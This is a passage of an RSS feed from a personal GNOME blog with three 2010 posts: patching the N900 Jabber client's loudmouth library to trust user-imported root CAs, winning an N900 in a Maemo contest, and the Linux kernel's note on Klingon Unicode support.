		<link>http://blogs.gnome.org/muelli/2010/09/the-beauty-of-a-free-maemo-handset/</link>
		<comments>http://blogs.gnome.org/muelli/2010/09/the-beauty-of-a-free-maemo-handset/#comments</comments>
		<pubDate>Thu, 16 Sep 2010 02:50:42 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[maemo]]></category>
		<category><![CDATA[n900]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1351</guid>
		<description><![CDATA[﻿﻿During GUADEC, I of course wanted to use my N900. But since the PR1.2 update, the Jabber client wouldn&#8217;t connect to the server anymore, because OpenSSL doesn&#8217;t honor imported CAs. So the only option to make it connect is to ignore SSL errors. But as I&#8217;m naturally paranoid, I didn&#8217;t dare to connect&#8230; It&#8217;s a [...]]]></description>
			<content:encoded><![CDATA[<p>﻿﻿During <a href="http://blogs.gnome.org/muelli/2010/08/05/guadec-2010-the-hague/">GUADEC</a>, I of course wanted to use my N900. But since the PR1.2 update, the Jabber client wouldn&#8217;t connect to the server anymore, because <a href="https://bugs.maemo.org/show_bug.cgi?id=11035">OpenSSL doesn&#8217;t honor imported CAs</a>. So the only option to make it connect is to ignore SSL errors. But as I&#8217;m naturally paranoid, I didn&#8217;t dare to connect&#8230; It&#8217;s a nerdy conference with a lot of hackers after all.</p>
<p>Fortunately, I had all those nice Collaborans next to me and I could ask loads of (stupid?) questions. Turns out, that the Jabber client (telepathy-gabble) on the N900 is a bit old and uses loudmouth and not wocky.</p>
<p>So I brought my SDK back to life (jeez, it&#8217;s very inconvenient to do stuff with that scratchbox setup <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-sad.png' alt=':-(' class='wp-smiley' />  ) and I was surprised that apt-get source libloudmouth1-0 was sufficient to get the code. And <code>apt-get build-dep libloudmouth1-0 &amp;&amp; dpkg-buildpackage -rfakeroot</code> built the package. Almost easy (I had to fix loads of dependency issue but it then worked out).</p>
<p>As neither I nor the Collaborans knew how to integrate with the Certificate Manager, I just wanted to make OpenSSL aware of the root CA which I intended to drop somewhere in <code>~/.certs</code> or so.</p>
<p>After a couple of busy conference days I found out that code which implements the desired functionality already exists but was commented out. So I adapted that and now loudmouth imports certificates from <code>/home/user/.config/telepathy/trusted-cas.pem</code> or <span style="text-decoration: line-through;"><code>/home/user/.config/telepathy/certs</code></span> <code>/home/user/.maemosec-certs/ssl-ca</code> before it connects. The former is just a file with all root CAs being PEM encoded. The latter is a directory where <span style="text-decoration: line-through;">you have to put PEM or DER encoded certs into and then run <code>c_rehash .</code> in it</span> the certificate manager puts the certificates in after you&#8217;ve imported it. Because just loading any <code>.pem</code> or <code>.der</code> file would have been to easy to work with. It was hard for me to understand OpenSSL&#8217;s API. <a href="http://www.ibm.com/developerworks/linux/library/l-openssl.html">This article</a> helped me a bit though, so you might find it useful, too.</p>
<p>So if you want your jabber client on the N900 to connect to a SSL/TLS secured server that uses a root CA that is not in the built in certificate store, grab the <code><a href="https://muelli.cryptobitch.de/libloudmouth1-0_1.4.1-0osso10+0m6_armel.deb">.deb</a></code> here. You can, of course, <a href="https://muelli.cryptobitch.de/loudmouth_1.4.1-0osso10+0m6.tar.gz">get the source</a> as well.</p>
<p>Turns out, that there is a workaround mentioned in <a href="https://bugs.maemo.org/show_bug.cgi?id=9355">bug 9355</a> hence you might consider it to be easier to modify system files yourself instead of letting the package manager do it.</p>
<p>Bottom line being that it&#8217;s wonderful to be allowed to study the code. It&#8217;s wonderful to be allowed fix stuff. And it&#8217;s wonderful to be allowed to redistribute the software. Even with my own modifications. And that it will be that way for the lifetime of that piece of software. I <a href="http://www.gnu.org/philosophy/free-sw.html">do love Free Software</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2010/09/the-beauty-of-a-free-maemo-handset/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Got a N900 *yay*</title>
		<link>http://blogs.gnome.org/muelli/2010/08/got-a-n900-yay/</link>
		<comments>http://blogs.gnome.org/muelli/2010/08/got-a-n900-yay/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 02:24:05 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[maemo]]></category>
		<category><![CDATA[n900]]></category>
		<category><![CDATA[yay]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=880</guid>
		<description><![CDATA[A while back, during FOSS.in, I participated at a Maemo &#8220;hacking&#8221; contents. The goal was to produce something valuable for Maemo and get a N900 in return. I basically ported Gajim to the N900 and, drumroll, I won! *yay* Unfortunately, it took them a while to ship that thing so that I received it half [...]]]></description>
			<content:encoded><![CDATA[<p>A while back, during <a href="http://blogs.gnome.org/muelli/2009/12/02/foss-in-impressions/">FOSS.in</a>, I participated at a Maemo &#8220;hacking&#8221; contents. The goal was to produce something valuable for Maemo and get a N900 in return. I basically ported Gajim to the N900 and, drumroll, <a href="http://maemobangalore.wordpress.com/2009/12/11/maemo-foss-in-hack-results/">I won</a>! *yay*</p>
<p>Unfortunately, <a href="http://maemobangalore.wordpress.com/2010/02/22/clarification-regarding-the-contest/">it took them a while</a> to ship that thing so that I received it half a year later or so. But then it was amazingly fast. I received a parcel from Helsinki (2031km far away) which was sent 20hrs earlier. The parcel thus was traveling at ~100km/h. Great service, DHL! Thanks a million Nokia, Thanks Maemo Bangalore!</p>
<p>I really like the N900 because it&#8217;s a Linux based device. Well, there is Android, right? But Nokia actually does send it&#8217;s patches upstream and they invite you to <a href="http://wiki.maemo.org/Root">get root</a> on the device you own. Plus everything is pretty much standard. There is D-Bus, there GTK+, there is Python, there is Linux, &#8230; Hence, building and running stuff is pretty easy. I am looking forward to run my DNS Tunnel and DOOM and play around with the USB.</p>
<p>I am now busy playing with my new N900.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2010/08/got-a-n900-yay/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Klingon Language Support</title>
		<link>http://blogs.gnome.org/muelli/2010/04/klingon-language-support/</link>
		<comments>http://blogs.gnome.org/muelli/2010/04/klingon-language-support/#comments</comments>
		<pubDate>Tue, 27 Apr 2010 19:55:23 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[wtf]]></category>
		<category><![CDATA[wtfotm]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1030</guid>
		<description><![CDATA[From Documentation/unicode.txt: Klingon language support &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; In 1996, Linux was the first operating system in the world to add support for the artificial language Klingon, created by Marc Okrand for the &#8220;Star Trek&#8221; television series.  This encoding was later adopted by the ConScript Unicode Registry and proposed (but ultimately rejected) for inclusion in Unicode Plane [...]]]></description>
			<content:encoded><![CDATA[<p>From <a href="http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6-stable.git;a=blob_plain;f=Documentation/unicode.txt;hb=HEAD">Documentation/unicode.txt</a>:</p>
<blockquote><p>Klingon language support<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>In 1996, Linux was the first operating system in the world to add support for the artificial language Klingon, created by Marc Okrand for the &#8220;Star Trek&#8221; television series.  This encoding was later adopted by the ConScript Unicode Registry and proposed (but ultimately rejected) for inclusion in Unicode Plane 1.  Thus, it remains as a Linux/CSUR private assignment in the Linux Zone.</p>
<p>This encoding has been endorsed by the Klingon Language Institute. For more information, contact them at:</p>
<p>http://www.kli.org/</p></blockquote>
<p>Maybe Linux isn&#8217;t ready to take over the world yet, but at least it&#8217;s ready to take over the universe&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2010/04/klingon-language-support/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  blogs.gnome.org/muelli/category/hacking/feed/ ) in 1.79180 seconds, on Feb 10th, 2012 at 7:35 am UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Feb 10th, 2012 at 8:35 am UTC -->
